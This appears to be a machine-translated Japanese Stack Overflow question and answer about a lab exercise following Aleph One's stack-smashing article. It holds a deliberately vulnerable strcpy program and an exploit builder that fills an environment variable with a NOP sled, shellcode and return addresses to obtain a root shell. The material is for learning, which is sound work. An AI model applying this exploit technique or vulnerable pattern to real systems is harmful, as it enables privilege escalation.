3

Aleph One の記事Smashing the Stack for Fun and Profit で説明されているように、私はバッファ オーバーフロー攻撃に取り組んでいます。

この記事で提案されているように、悪意のあるコード (シェルコード) を環境変数 ($EGG) に植え付けるプログラム (shellcode.c) を作成しました。その後、攻撃したいプログラム (vulnerable.c) に $EGG が引数として渡され、そのプログラムのバッファがオーバーフローし、シェルコードが実行されます。

これはバッファがどのように見えるかです -

[NNNNNNNNNN...NNNNNNSSSSSSSS...SSSSSSSRRRRR...RRRRRR]

ここで、N は NOP 命令 ( NOP sledを参照)、S はシェルコード、R はアドレス (命令ポインターがコード セグメントから上記のスタック バッファーにジャンプして命令の実行を開始するバッファーにアドレスを返す) です。

通常のユーザーとして shellcode.c と脆弱な.c の実行可能ファイルを実行すると、次の問題に直面します。命令ポインターがバッファーにリダイレクトされ、命令に遭遇すると、セグメンテーション違反が発生します。ただし、プログラムを sudo として実行すると、バッファ内の命令は問題なく実行され、バッファ内の後続のシェルコードが正常に実行され、ルート ターミナルが起動され、エクスプロイトが完了します。なぜこれが起こっているのか、誰かが光を当てることができますか?

次の保護を無効にしました - Stack Smashing ProtectionASLRおよびLinux の NX (eXecute Disable Bit)。

gcc 4.4.3 (ターゲット: i486-linux-gnu) を使用してコンパイルし、カーネル 2.6.32 を実行する Ubuntu 10.04 (Lucid Lynx) で実行しています。

以下は私の2つのプログラムです:

脆弱な.c

int main(int argc, char** argv) {
char buffer[512];

if(argc>1)
    strcpy(buffer,argv[1]);

return (EXIT_SUCCESS);
}    

shellcode.c

int main(int argc,char** argv) {

char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;

/* Set buffersize and predicted offset if arguments are supplied to the program
 */ 
if(argc>1)
    buffersize = atoi(argv[1]);
if(argc>2)
    offset = atoi(argv[2]);


if(!(buff=(char*)malloc(buffersize))) {
    printf("Can't allocate memory!");
    exit(1);
}

retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);

addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
    *(addr++) = retaddr;

for(i=0;i<buffersize/2;i++)
    buff[i] = NOP;

ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
    *(ptr++) = shellcode[i];

buff[buffersize -1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");

 return (EXIT_SUCCESS);
}
4

1 に答える 1

1

セグメンテーション違反が発生したのは、root ユーザーではなかったからではなく、バッファーにハードコーディングした戻りアドレス (RRRR...RRR) が、実行中のプログラムのスタック アドレス空間の外側にあったためです。私は正しいリターンアドレスを推定することでこれを修正しました (Aleph One の記事で説明されているように、ヒットと試行によって)。

于 2012-11-04T20:32:25.930 に答える